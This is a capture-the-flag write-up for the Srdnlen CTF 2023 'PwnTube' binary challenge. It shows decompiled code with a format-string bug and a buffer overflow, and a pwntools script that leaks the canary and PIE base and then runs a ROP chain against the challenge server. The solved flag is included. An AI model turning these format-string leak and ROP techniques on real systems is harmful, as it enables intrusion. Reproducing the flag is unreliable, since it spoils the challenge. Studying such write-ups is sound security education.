Srdnlen CTF 2023 - PwnTube (fsb, rop)

?

  • [? solves / ? points]

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall showComments(__int64 a1, int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

clearScreen();
printLogo();
puts(aComments);
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i >= a2 )
break;
printf((const char *)(30LL * (int)i + a1)); // fsb
}
return result;
}

I can trigger FSB in showComments.

1
2
3
4
5
6
7
8
9
int __fastcall addComment(__int64 a1, int *a2)
{
const char *v2; // rbx
int result; // eax

// ..
__isoc99_scanf("%7s", 30LL * *a2 + a1);
// ..
}

I put FSB payload through the addComment.

Finally, There is easy bof in buy_premium, I tried to call skipAd using ROP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall skipAd(int a1, int a2)
{
char command[15]; // [rsp+19h] [rbp-17h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
clearScreen();
strcpy(command, "cat ./flag.txt");
if ( a1 == -559038737 && a2 == -17958194 )
{
puts("\nYou did not give me up :)\nYou earned this:\n");
system(command);
}
else
{
system("cat ./flag");
}
return v4 - __readfsqword(0x28u);
}

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

# p = process('./PwnTube')
p = remote('pwntube.challs.srdnlen.it', 1661)
e = ELF('./PwnTube')

pop_rdi = 0x15aa
pop_rsi_rdi = 0x15a9
ret = 0x1016

# canary leak
# %71$p
p.sendlineafter('──', b'4')
p.sendlineafter(':', b'%71$p')
p.sendlineafter('──', b'3')
p.recvuntil(':D\n')
canary = int(p.recvline().strip(), 16)
info('canary : ' + hex(canary))

# pie leak
# %55$p
p.sendlineafter('──', b'4')
p.sendlineafter(':', b'%55$p')
p.sendlineafter('──', b'3')
p.recvuntil(':D\n')
p.recvline()
pie_base = int(p.recvline().strip(), 16) - 0x176b
info('pie : ' + hex(pie_base))

# ROP
p.sendlineafter('──', b'777')
p.sendlineafter('──', b'5')
p.sendlineafter('b', b'2')

payload = b''
payload += b'a' * 504
payload += p64(canary)
payload += b'b' * 8
payload += p64(pie_base + pop_rsi_rdi)
payload += p64(0xFEEDFACE)
payload += p64(0xDEADBEEF)
payload += p64(pie_base + 0x12A6)

# pause()
p.sendlineafter(':', payload)
p.sendlineafter(':', b'sadf')

p.interactive()

# srdnlen{pwn4t1n4?}